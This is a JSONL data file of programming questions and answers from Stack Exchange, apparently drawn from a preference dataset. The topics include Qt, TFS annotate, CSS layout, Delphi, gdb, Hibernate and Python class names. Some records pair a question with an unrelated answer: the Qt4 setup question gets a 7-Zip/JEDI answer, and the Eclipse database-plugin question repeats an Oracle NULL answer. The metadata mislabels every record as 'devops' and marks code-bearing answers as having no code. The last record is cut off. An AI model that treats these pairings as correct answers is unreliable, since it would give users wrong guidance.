{"id": "hf_c4aa9a4081f6", "question": "<p>Does anyone have details in setting up Qt4 in Visual Studio 2008? Links to other resources would be appreciated as well.</p>\n\n<p>I already know that the commercial version of Qt has applications to this end. I also realize that I'll probably need to compile from source as the installer for the open source does not support Visual Studio and installs Cygwin.</p>\n", "question_body": "", "answer": "As of release 1.102 the\nJEDI Code Library\nhas support for\n7-Zip\nbuilt into the\nJclCompression\nunit. Haven't used it myself yet, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.872675"}
{"id": "hf_741ecb86b755", "question": "<p>In Team Foundation Server, I know that you can use the <strong>Annotate</strong> feature to see who last edited each line in a particular file (equivalent to \"Blame\" in CVS). What I'd like to do is akin to running Annotate on every file in a project, and get a summary report of all the developers who have edited a file in the project, and how many lines of code they currently \"own\" in that project.</p>\n\n<p>Aside from systematically running Annotate of each file, I can't see a way to do this. Any ideas that would make this process faster?</p>\n\n<p>PS - I'm doing to this to see how much of a consultant's code still remains in a particular (rather large) project, not to keep tabs on my developers, in case you're worried about my motivation :)</p>\n", "question_body": "", "answer": "It's easy enough to use the \"tf.exe history\" command recursively across a directory of files in TFS. This will tell you who changed what files.\nHowever what you're after is a little bit more than this - you want to know if the latest versions of any files have lines written by a particular user.\nThe Team Foundation Power Tools ship with a command-line version of annotate called \"tfpt.exe annotate\". This has a /noprompt option to direct the output to the console, but it only outputs the changeset id - not the user name.\nYou could also use the TFS VersionControl object model to write a tool that does exactly what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.896029"}
{"id": "hf_7ae9ca90db50", "question": "<p>I am interested in writing static code analyzer for vb.net to see if it conforms to my company standard coding guidelines. Please advise from where i have to start.</p>\n", "question_body": "", "answer": "Rather than write your own static code analyzer, I recommend you use\nFxCop\n: and instead, write custom FxCop rules for your needs. It'll save you a lot of time.\nhttp://www.binarycoder.net/fxcop/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.920076"}
{"id": "hf_a9922bdadb3e", "question": "<p>I'm maintaining <a href=\"http://perl-begin.org/\" rel=\"nofollow noreferrer\">the Perl Beginners' Site</a> and used a modified template from Open Source Web Designs. Now, the problem is that I still have an undesired artifact: a gray line on the left side of the main frame, to the left of the navigation menu. Here's <a href=\"http://www.shlomifish.org/Files/files/images/Computer/Screenshots/perl-begin-bad-artif.png\" rel=\"nofollow noreferrer\">an image</a> highlighting the undesired effect.</p>\n\n<p>How can I fix the CSS to remedy this problem?</p>\n", "question_body": "", "answer": "It's the\n```\nbackground-image\n```\non the body showing through. Quick fix (edit style.css or add elsewhere):\n```\n```\n#page-container\n{\n   background-color: white;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.944500"}
{"id": "hf_2600710de85c", "question": "<p>I have a table inside a div. I want the table to occupy the entire width of the div tag.</p>\n\n<p>In the CSS, I've set the <code>width</code> of the table to <code>100%</code>.  Unfortunately, when the div has some <code>margin</code> on it, the table ends up wider than the div it's in.</p>\n\n<p>I need to support IE6 and IE7 (as this is an internal app), although I'd obviously like a fully cross-browser solution if possible!</p>\n\n<p>I'm using the following DOCTYPE...</p>\n\n<pre><code>&lt;!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"&gt;\n</code></pre>\n\n<hr>\n\n<p><strong>Edit</strong>: Unfortunately I can't hard-code the width as I'm dynamically generating the HTML and it includes nesting the divs recursively inside each other (with left margin on each div, this creates a nice 'nested' effect).</p>\n", "question_body": "", "answer": "The following works for me in Firefox and IE7... a guideline, though is: if you set width on an element, don't set margin or padding on the same element. This holds true\nespecially\nif you're mixing units -- say, mixing percents and pixels.\n```\n```\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n<html>\n  <head>\n    <title>Test</title>\n  </head>\n  <body>\n    <div style=\"width: 500px; background-color:#F33;\">\n      This is the outer div\n      <div style=\"background-color: #FAA; padding: 10px; margin:10px;\">\n        This is the inner div\n        <table cellpadding=\"0\" cellspacing=\"0\" style=\"width: 100%\">\n          <tr>\n            <td style=\"border: 1px solid blue; background-color:#FEE;\">Here is my td</td>\n          </tr>\n        </table>\n      </div>\n    </div>\n  </body>\n</html>\n```\n```\nSee\nhere\nfor an example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:36.991873"}
{"id": "hf_e5de6a21f371", "question": "<p>Every project I compile with Delphi 7, in which I do <strong><em>not</em></strong> compile with run-time packages, gives a linker error: \"Too many resources\". Even a blank application gives this error.</p>\n\n<p>In other words: Delphi died on me.</p>\n", "question_body": "", "answer": "What happens when you try to build it from the command line?\n(i.e., \\Program Files\\Borland\\Delphi7\\Bin\\dcc32.exe)\nAlso, have you build any custom .RES files for this project?  If not, try deleting the default .RES that Delphi created for you, and let it get re-created by the project.\nYou can also force an update to the .RES file by changing something trivial, like the version #, saving your project, then changing it back again.\nSorry these are not answers... but hopefully we will find the issue with a little poking around.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.016309"}
{"id": "hf_0a17493ba1d4", "question": "<p>example:</p>\n\n<pre><code>public static void DoSomething&lt;K,V&gt;(IDictionary&lt;K,V&gt; items) {\n   items.Keys.Each(key =&gt; {\n      if (items[key] **is IEnumerable&lt;?&gt;**) { /* do something */ }\n      else { /* do something else */ }\n}\n</code></pre>\n\n<p>Can this be done without using reflection? How do I say IEnumerable in C#? Should I just use IEnumerable since IEnumerable&lt;> implements IEnumerable? </p>\n", "question_body": "", "answer": "```\n```\nif (typeof(IEnumerable).IsAssignableFrom(typeof(V))) {\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.040571"}
{"id": "hf_1b56fd274f01", "question": "<p>Can't understand why the following takes place:</p>\n\n<pre><code>String date = \"06-04-2007 07:05\";\nSimpleDateFormat fmt = new SimpleDateFormat(\"MM-dd-yyyy HH:mm\");\nDate myDate = fmt.parse(date); \n\nSystem.out.println(myDate);  //Mon Jun 04 07:05:00 EDT 2007\nlong timestamp = myDate.getTime();\nSystem.out.println(timestamp); //1180955100000 -- where are the milliseconds?\n\n// on the other hand...\n\nmyDate = new Date();\nSystem.out.println(myDate);  //Tue Sep 16 13:02:44 EDT 2008\ntimestamp = myDate.getTime();\nSystem.out.println(timestamp); //1221584564703 -- why, oh, why?\n</code></pre>\n", "question_body": "", "answer": "What milliseconds? You are providing only minutes information in the first example, whereas your second example grabs current date from the system with milliseconds, what is it you're looking for?\n```\n```\nString date = \"06-04-2007 07:05:00.999\";\nSimpleDateFormat fmt = new SimpleDateFormat(\"MM-dd-yyyy HH:mm:ss.S\");\nDate myDate = fmt.parse(date);\n\nSystem.out.println(myDate); \nlong timestamp = myDate.getTime();\nSystem.out.println(timestamp);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.064862"}
{"id": "hf_3fcafcad2a4b", "question": "<p>I need to check CPU and memory usage for the server in java, anyone know how it could be done?</p>\n", "question_body": "", "answer": "If you are using Tomcat, check out\nPsi Probe\n, which lets you monitor internal and external memory consumption as well as a host of other areas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.155774"}
{"id": "hf_8faa71416044", "question": "<p>I have a QMainWindow in a Qt application. When I close it I want it to store its current restore size (the size of the window when it is not maximized). This works well when I close the window in restore mode (that is, not maximized). But if I close the window if it is maximized, then next time i start the application and restore the application (because it starts in maximized mode), then it does not remember the size it should restore to. Is there a way to do this?</p>\n", "question_body": "", "answer": "I've encountered this problem as well.\nWhat you can do: in addition to the window's size, save whether it's maximized or not (\n```\nQWidget::isMaximized()\n```\n).\nThen next time you start the application, first set the size (\n```\nQWidget::resize()\n```\n) and then maximize it if appropriate (\n```\nQWidget::showMaximized()\n```\n). When it's restored, it should return to the correct size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.192272"}
{"id": "hf_a0660cec79fc", "question": "<p>Is it possible to listen for a certain hotkey (e.g:<kbd>Ctrl</kbd><kbd>-</kbd><kbd>I</kbd>) and then perform a specific action? My application is written in C, will only run on Linux, and it doesn't have a GUI. Are there any libraries that help with this kind of task?</p>\n\n<p>EDIT: as an example, amarok has global shortcuts, so for example if you map a combination of keys to an action (let's say <kbd>Ctrl</kbd><kbd>-</kbd><kbd>+</kbd>, <kbd>Ctrl</kbd> and <kbd>+</kbd>) you could execute that action when you press the keys. If I would map <kbd>Ctrl</kbd><kbd>-</kbd><kbd>+</kbd> to the volume increase action, each time I press <kbd>ctrl</kbd><kbd>-</kbd><kbd>+</kbd> the volume should increase by a certain amount.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "How global do your hotkeys need to be?  Is it enough for them to be global for a X session?  In that case you should be able to open an Xlib connection and listen for the events you need.\nOrdinarily keyboard events in X are delivered to the window that currently has the focus, and propagated up the hierarchy until they are handled.  Clearly this is not what we want.  We need to process the event before any other window can get to it.  We need to call\nXGrabKey\non the root window with the keycode and  modifiers of our hotkey to accomplish this.\nI found a good example\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.289062"}
{"id": "hf_2c85858c7dc6", "question": "<p>I am looking for a tool which will take an XML instance document and output a corresponding XSD schema.</p>\n\n<p>I certainly recognize that the generated XSD schema will be limited when compared to creating a schema by hand (it probably won't handle optional or repeating elements, or data constraints), but it could at least serve as a quick starting point.</p>\n", "question_body": "", "answer": "the\nMicrosoft XSD inference tool\nis a good, free solution. Many XML editing tools, such as XmlSpy (mentioned by @Garth Gilmour) or OxygenXML Editor also have that feature. They're rather expensive, though. BizTalk Server also has an XSD inferring tool as well.\nedit: I just discovered the .net\nXmlSchemaInference\nclass, so if you're using .net you should consider that", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.386922"}
{"id": "hf_f10840b05301", "question": "<p>I need to rearrange some content in various directories but it's a bit of a pain. In order to debug the application I'm working on (a ruby app) I need to move my gems into my gem folder one at a time (long story; nutshell: one is broken and I can't figure out which one).</p>\n\n<p>So I need to do something like:</p>\n\n<pre><code>sudo mv backup/gem/foo gem/\nsudo mv backup/doc/foo doc/\nsudo mv backup/specification/foo.gemspec specification/\n</code></pre>\n\n<p>replacing \"foo\" each time. How can I author a simple shell script to let me do something like: gemMove(\"foo\") and it fill in the blanks for me?</p>\n", "question_body": "", "answer": "Put the following into a file named\n```\ngemmove\n```\n:\n```\n```\n#!/bin/bash\n\nif [ \"x$1\" == x ]; then\n  echo \"Must have an arg\"\n  exit 1\nfi\n\nfor d in gem doc specification ; do \n  mv \"backup/$d/$1\" \"$d\"\ndone\n```\n```\nthen do\n```\n```\nchmod a+x gemmove\n```\n```\nand then call\n```\nsudo /path/to/gemmove foo\n```\nto move the foo gem from the backup dirs into the real ones", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.434041"}
{"id": "hf_688a2d173787", "question": "<p>Flex has built in drag-n-drop for list controls, and allows you to override this. But they don't cover this in examples. The built-in functionality automatically drags the list-item, if you want to override this you find the handlers are being set up on the list itself.\nWhat I specifically want to do, is my TileList shows small thumbnails of items I can drag onto a large Canvas. As I drag an item from the list, the drag proxy should be a different image.</p>\n\n<p><strong>So, I followed the technique suggested and it only works if I explicitly set the width/height on the proxy Image. Why?</strong></p>\n", "question_body": "", "answer": "It's not obvious until you've tried it =) I struggled with the same thing just a few weeks ago. This was my solution:\nThe list:\n```\n```\n<List>\n  <mouseDown>onListMouseDown(event)</mouseDown>\n</Tree>\n```\n```\nThe mouse down handler:\n```\n```\nprivate function onMouseDown( event : MouseEvent ) : void {\n  var list : List = List(event.currentTarget);\n\n  // the data of the clicked row, change the name of the class to your own\n  var item : MyDataType = MyDataType(list.selectedItem);\n\n  var source : DragSource = new DragSource();\n\n  // MyAwsomeDragFormat is the key that you will retrieve the data by in the\n  // component that handles the drop\n  source.addData(item, \"MyAwsomeDragFormat\");\n\n  // this is the component that will be shown as the drag proxy image\n  var dragView : UIComponent = new Image();\n\n  // set the source of the image to a bigger version here\n  dragView.source = getABiggerImage(item);\n\n  // get hold of the renderer of the clicked row, to use as the drag initiator\n  var rowRenderer : UIComponent = UIComponent(list.indexToItemRenderer(list.selectedIndex));\n\n  DragManager.doDrag(\n    rowRenderer,\n    source,\n    event,\n    dragView\n  );\n}\n```\n```\nThat will start the drag when the user clicks an item in the list. Notice that I don't set\n```\ndragEnabled\n```\nand the other drag-related properties on the list since I handle all that myself.\nIt can be useful to add this to the beginning of the event handler:\n```\n```\nif ( event.target is ScrollThumb || event.target is Button ) {\n  return;\n}\n```\n```\nJust to short circuit if the user clicks somewhere in the scrollbar. It's not very elegant but it does the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.508293"}
{"id": "hf_3bd86c690d20", "question": "<p>I'm developing a .NET 3.5 XBAP application that runs perfectly fine in FF3 and IE6/7 etc. I'm just wondering if its possible to get these to run under other browsers, specifically (as its in the limelight at the moment) Google Chrome.</p>\n", "question_body": "", "answer": "At the moment, XBAPs do not work in Google Chrome.  I've gotten it to run once, somehow, but every time there after I've received an error that the browser cannot locate xpcom.dll.  Apparently this error occurs for more than just XBAP applications.  From what I've read users will have to wait for a fix seeing as Chrome is still in beta.\nUpdate:\nLooks like it's not going to be fixed:\nhttp://code.google.com/p/chromium/issues/detail?id=4051", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.566396"}
{"id": "hf_6f32eee67e7e", "question": "<p>In a VB6 application, I have a <code>Dictionary</code> whose keys are <code>String</code>s and values are instances of a custom class.  If I call <code>RemoveAll()</code> on the <code>Dictionary</code>, will it first free the custom objects?  Or do I explicitly need to do this myself?</p>\n\n<pre><code>Dim d as Scripting.Dictionary\n\nd(\"a\") = New clsCustom\nd(\"b\") = New clsCustom\n\n' Are these two lines necessary?\nSet d(\"a\") = Nothing\nSet d(\"b\") = Nothing\n\nd.RemoveAll\n</code></pre>\n", "question_body": "", "answer": "Yes, all objects in the\n```\nDictionary\n```\nwill be released after a call to\n```\nRemoveAll()\n```\n.  From a performance (as in speed) standpoint I would say those lines setting the variables to\n```\nNothing\n```\nare unnecessary, because the code has to first look them up based on the key names whereas\n```\nRemoveAll()\n```\nwill enumerate and release everything in one loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.622993"}
{"id": "hf_31303e5e36af", "question": "<p>I have a DataSet which I get a DataTable from that I am being passed back from a function call. It has 15-20 columns, however I only want 10 columns of the data.</p>\n\n<p>Is there a way to remove those columns that I don't want, copy the DataTable to another that has only the columns defined that I want or is it just better to iterate the collection and just use the columns I need.</p>\n\n<p>I need to write the values out to a fixed length data file.</p>\n", "question_body": "", "answer": "Aside from limiting the columns selected to reduce bandwidth and memory:\n```\n```\nDataTable t;\nt.Columns.Remove(\"columnName\");\nt.Columns.RemoveAt(columnIndex);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.725299"}
{"id": "hf_be6c90f5806b", "question": "<p>Google custom search code is provided as a form tag. However, Asp.net only allows a single form tag on a page. What is the best way to implement their code so you can include it on an aspx page (say as part of a Masterpage or navigation element). </p>\n\n\n  \n    \n    \n    \n    \n    \n  \n\n\n\n", "question_body": "", "answer": "You can have multiple form tags on an ASP.NET page. The limitation is on server-side (runat=\"server\") form tags.\nYou can implement two form tags (or more) as long as only one has the runat=\"server\" attribute and one is not contained in the other. Example:\n```\n```\n<body>\n<form action=\"http://www.google.com/cse\" id=\"cse-search-box\"> ... </form>\n<form runat=\"server\" id=\"aspNetform\"> ... </form>\n<body>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.773116"}
{"id": "hf_bde22f374414", "question": "<p>How to you find the URL that represents the documentation of a .NET framework method on the MSDN website?</p>\n\n<p>For example, I want to embed the URL for the .NET framework method into some comments in some code.  The normal \"mangled\" URL that one gets searching MSDN isn't very friendly looking: <a href=\"http://msdn.microsoft.com/library/xd12z8ts.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/library/xd12z8ts.aspx</a>.  Using a Google search URL isn't all that pretty looking either.</p>\n\n<p>What I really want a URL that can be embedded in comments that is plain and easy to read.  For example,</p>\n\n<p>// blah blah blah.  See http://&lt;....>/System.Byte.ToString for more information</p>\n", "question_body": "", "answer": "A lot of the time you can merely append the lowercase namespace reference to the domain:\n```\n```\nhttp://msdn.microsoft.com/en-us/library/system.windows.application_events.aspx\n```\n```\nMoreover, for say the .Net 2.0 version (or any specific version) you can add \"(VS.80)\":\n```\n```\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.button(VS.80).aspx\n```\n```\nOther versions:\n.Net 1.1 -> (VS.71)\n.Net 2.0 -> (VS.80)\n.Net 3.0 -> (VS.85)\n.Net 3.5 -> (VS.90)\nTry it for a method (Control.IsInputChar) like so:\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.control.isinputchar.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.797780"}
{"id": "hf_875a89fcbec9", "question": "<p>If you have a statically allocated array, the Visual Studio debugger can easily display all of the array elements.  However, if you have an array allocated dynamically and pointed to by a pointer, it will only display the first element of the array when you click the + to expand it.  Is there an easy way to tell the debugger, show me this data as an array of type Foo and size X?</p>\n", "question_body": "", "answer": "Yes, simple.\nsay you have\n```\n```\nchar *a = new char[10];\n```\n```\nwriting in the debugger:\n```\n```\na,10\n```\n```\nwould show you the content as if it were an array.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.880996"}
{"id": "hf_e1ee7873a4b0", "question": "<p>Is it possible to reach the individual columns of table2 using HQL with a configuration like this?</p>\n\n<pre><code>&lt;hibernate-mapping&gt;\n  &lt;class table=\"table1\"&gt;\n    &lt;set name=\"table2\" table=\"table2\" lazy=\"true\" cascade=\"all\"&gt;\n      &lt;key column=\"result_id\"/&gt;\n      &lt;many-to-many column=\"group_id\"/&gt;\n    &lt;/set&gt;\n  &lt;/class&gt;\n&lt;/hibernate-mapping&gt;\n</code></pre>\n", "question_body": "", "answer": "They're just properties of table1's table2 property.\n```\n```\nselect t1.table2.property1, t1.table2.property2, ... from table1 as t1\n```\n```\nYou might have to join, like so\n```\n```\nselect t2.property1, t2.property2, ... \n    from table1 as t1\n    inner join t1.table2 as t2\n```\n```\nHere's the relevant part of the\nhibernate doc\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:37.978043"}
{"id": "hf_6ae8331bbe77", "question": "<p>When you're doing a usual gdb session on an executable file on the same computer, you can give the run command and it will start the program over again.</p>\n<p>When you're running gdb on an embedded system, as with the command <code>target localhost:3210</code>, how do you start the program over again without quitting and restarting your gdb session?</p>\n", "question_body": "", "answer": "Unfortunately, I don't know of a way to restart the application and still maintain your session.  A workaround is to set the PC back to the entry point of your program.  You can do this by either calling:\n```\njump\nfunction\n```\nor\n```\nset $pc=\naddress\n```\n.\nIf you munged the arguments to\n```\nmain\n```\nyou may need set them up again.\nEdit:\nThere are a couple of caveats with the above method that could cause problems.\nIf you are in a multi-threaded program jumping to main will jump the current thread to main, all other threads remain.  If the current thread held a lock...then you have some problems.\nMemory leaks, if you program flow allocates some stuff during initialization then you just leaked a bunch of memory with the jump.\nOpen files will still remain open.  If you mmap some files or an address, the call will most likely fail.\nSo, using jump isn't the same thing as restarting the program.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.012744"}
{"id": "hf_850fc526a917", "question": "<p>In how many languages is Null not equal to anything not even Null?</p>\n", "question_body": "", "answer": "Oracle is this way.\n```\n```\nSELECT * FROM dual WHERE NULL=null;  --no rows returned\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.060092"}
{"id": "hf_d8b2d0486205", "question": "<p>Does anyone know of a good open source plugin for database querying and exploring within Eclipse? </p>\n\n<p>The active Database Exploring plugin within Eclipse is really geared around being associated with a Java project. While I am just trying to run ad-hoc queries and explore the schema. I am effectively looking for a just a common, quick querying tool without the overhead of having to create a code project. I have found a couple open source database plugins for Eclipse but these have not seen active development in over a year.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Oracle is this way.\n```\n```\nSELECT * FROM dual WHERE NULL=null;  --no rows returned\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.083427"}
{"id": "hf_229b4c941f54", "question": "<p>The problem is simple, but I'm struggling a bit already.</p>\n\n<pre><code>Server server = new Server(8080);  \nContext context = new Context(server, \"/\", Context.NO_SESSIONS);\ncontext.addServlet(MainPageView.class, \"/\");\ncontext.addServlet(UserView.class, \"/signup\");\nserver.start();\n</code></pre>\n\n<p>That's a pretty standard piece of code that you can find anywhere in Jetty world. I have an application that embeds Jetty as a servlet engine and has some servlets. </p>\n\n<p>Instantiation of some of these servlets requires heavy work on startup. Say &ndash; reading additional config files, connecting to the database, etc. How can I make the servlet engine instantiate all servlets eagerly, so that I can do all the hard work upfront and not on the first user request?</p>\n", "question_body": "", "answer": "Use the\n```\nContext.addServlet\n```\noverload that takes a\n```\nServletHolder\n```\n.\n```\nServletHolder\n```\nis a class that accepts either a Class or a Servlet instance.\n```\n```\nServlet myServlet = new MyServlet();\nServletHolder holder = new ServletHolder(myServlet);\ncontext.addServlet(holder, \"/\");\n```\n```\nThis assumes Jetty 6.  I think it will work for Jetty 7 as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.196839"}
{"id": "hf_db28e278c776", "question": "<p>What method do I call to get the name of a class?</p>\n", "question_body": "", "answer": "It's not a method, it's a field.  The field is called\n```\n__name__\n```\n.\n```\nclass.__name__\n```\nwill give the name of the class as a string.\n```\nobject.__class__.__name__\n```\nwill give the name of the class of an object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.271821"}
{"id": "hf_52077a6069cf", "question": "<p>As part of the Nant copy task, I would like to change the properties of the files in the target location. For instance make the files \"read-write\" from \"read-only\". How would I do this?</p>\n", "question_body": "", "answer": "Use the <\nattrib\n> task. For example, to make the file \"test.txt\" read/write, you would use\n```\n```\n<attrib file=\"test.txt\" readonly=\"false\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.296193"}
{"id": "hf_1e43047a0147", "question": "<p>I have just started reading DDD. I am unable to completely grasp the concept of Entity vs Value objects.. Can someone please explain the problems (maintainability, performance.. etc) a system could face when a Value object is designed as a Entity object? Example would be great...</p>\n", "question_body": "", "answer": "Reduced to the essential distinction, identity matters for entities, but does not matter for value objects. For example, someone's Name is a value object. A Customer entity might be composed of a customer Name (value object), List<Order> OrderHistory (List of entities), and perhaps a default Address (typically a value object). The Customer Entity would have an ID, and each order would have an ID, but a Name should not; generally, within the object model anyway, the identity of an Address probably does not matter.\nValue objects can typically be represented as immutable objects; changing one property of a value object essentially destroys the old object and creates a new one, because you're not as concerned with identity as with content. Properly, the Equals instance method on Name would return \"true\" as long as the object's properties are identical to the properties of another instance.\nHowever, changing some attribute of an entity like Customer doesn't destroy the customer; a Customer entity is typically mutable. The identity remains the same (at least once the object has been persisted).\nYou probably create value objects without realizing it; anytime you are representing some aspect of an Entity by creating a fine-grained class, you've got a value object. For example, a class IPAddress, which has some constraints on valid values but is composed of simpler datatypes, would be a value object. An EmailAddress could be a string, or it could be a value object with its own set of behaviors.\nIt's quite possible that even items that have an identity in your database don't have an identity in your object model. But the simplest case is a composite of some attributes that make sense together. You probably don't want to have Customer.FirstName, Customer.LastName, Customer.MiddleInitial and Customer.Title when you can compose those together as Customer.Name; they'll probably be multiple fields in your database by the time you think about persistence, but your object model doesn't care.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.320606"}
{"id": "hf_c561444e81bf", "question": "<p>Does anyone know of some good resources related to setting up heirarchical user account systems? I'm currently setting one up and am struggling with some of the more complex logic (especially with determining permissions). I was hoping I might be able to find some resources to help me along.</p>\n\n<p><strong>Some Background:</strong>\nI'm building a user account system for a web CMS that allows for a nested group hierarchy. Each group can be allowed/denied access to read, write, add, and delete (either explicitly for that group, or implicitly by one of its parents). As if that weren't complicated enough, the system also allows for users to be members of multiple groups. -- This is where I'm stuck. I've got everything set up, but I'm struggling with the actual logic for determining pemissions for a  given user.</p>\n", "question_body": "", "answer": "Look at the permissions in the\nAndrew File System\n.  It allows users to create and administer groups of their own, while selectively assigning admin rights and ACLs.  You might find that many of the pesky details are already worked out for you in their model.\nEdit:\nhere's a better link to AFS documentation:\nhttp://www.cs.cmu.edu/~help/afs/index.html\nHere's the section on 